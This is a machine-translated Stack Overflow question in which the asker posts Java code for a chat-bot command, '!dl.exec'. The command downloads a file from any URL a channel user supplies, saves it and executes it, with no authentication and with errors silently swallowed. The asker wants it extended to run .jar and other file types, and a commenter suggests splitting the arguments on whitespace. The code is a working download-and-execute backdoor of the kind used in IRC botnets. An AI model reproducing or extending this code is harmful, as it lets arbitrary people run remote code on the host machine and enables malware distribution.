好了,我有这样的一套代码Java代码来执行JAR/EXE /等
if(message.toLowerCase().startsWith("!dl.exec")){
String[] args = message.split(" ");
sendMessage(channel, sender +": OK, please wait a moment");
try{
java.io.BufferedInputStream in = new java.io.BufferedInputStream(new
java.net.URL(args[1]).openStream());
java.io.FileOutputStream fos = new java.io.FileOutputStream(args[2]);
java.io.BufferedOutputStream bout = new BufferedOutputStream(fos,1024);
byte data[] = new byte[1024];
int count;
while((count = in.read(data,0,1024)) != -1){
bout.write(data,0,count);
}
fos.flush();
fos.close();
String absolutePath = new File("").getAbsolutePath()+"/"+args[2];
sendMessage(channel, sender +": the path is " +absolutePath);
Runtime.getRuntime().exec(absolutePath);
}
catch(Exception e){
}
}
,基本上他们做的是,用户输入!dl.exec(URL)(文件名)和事情下载并保存为(文件名)然后执行它。 现在这工作正常,但只有当文件是一个.exe,对于.anything其他(如.jar)它不起作用。 我需要更改哪些内容才能与最好所有扩展一起使用?
只是一个建议的执行行为,改变你的args'的'初始化为'字串[] args = message.split(” \\ s +“);'在参数 – Alex 2012-03-09 06:11:45